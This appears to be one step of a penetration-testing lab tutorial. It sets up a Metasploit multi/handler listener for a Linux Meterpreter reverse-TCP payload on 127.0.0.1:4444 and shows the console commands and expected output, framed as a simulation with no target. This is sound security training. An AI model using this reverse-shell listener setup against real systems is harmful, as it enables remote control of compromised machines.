Setting Up a Meterpreter Payload and Listener
In this step, you will learn how to set up a Meterpreter payload and start a listener to simulate accessing a session on a compromised system. Since this is a simulated lab environment without a real target, no actual session will be created, but you will understand the process of preparing for post-exploitation tasks.
Meterpreter is an advanced payload in Metasploit that provides a powerful interactive shell for post-exploitation activities like file system navigation and process management. Unlike a basic reverse shell, Meterpreter offers more features for controlling a compromised system. A session in Metasploit is an active connection between you and the target, allowing command execution.
Since the previous exploit did not result in a session, you will use a standalone handler to set up a Meterpreter listener. If you are still in the Metasploit console, type the following command to switch to the multi/handler module and press Enter
:
use exploit/multi/handler
The prompt should change to:
msf6 exploit(multi/handler) >
Now, configure the handler to use a Meterpreter payload for Linux systems. Type the following command and press Enter
:
set payload linux/x86/meterpreter/reverse_tcp
The output will confirm:
payload => linux/x86/meterpreter/reverse_tcp
Next, set the listener options. Use 127.0.0.1
as the IP address (LHOST
) since this is a simulation on the same machine. Type the following command and press Enter
:
set LHOST 127.0.0.1
The output will confirm:
LHOST => 127.0.0.1
Set the port (LPORT
) to 4444
. Type the following command and press Enter
:
set LPORT 4444
The output will confirm:
LPORT => 4444
Verify the settings by typing the following command and pressing Enter
:
show options
Look for the Payload options
section, which should show:
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
If the values are incorrect, repeat the set
commands to fix them.
Finally, start the listener by typing the following command and pressing Enter
:
exploit
Metasploit will start listening on the specified IP and port. Since there is no real target connecting back, no session will be created. The output will look like this:
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Starting the payload handler...
The console will remain active, waiting for a connection. In a real scenario, if a target connects with the Meterpreter payload, a session would be established, and you would see a message like Meterpreter session 1 opened
. For now, stop the listener by pressing Ctrl + C
to interrupt the process.
This step helps you understand how to prepare a Meterpreter payload and listener, a critical skill for post-exploitation in penetration testing. You can now exit the Metasploit console if desired by typing exit
and pressing Enter
.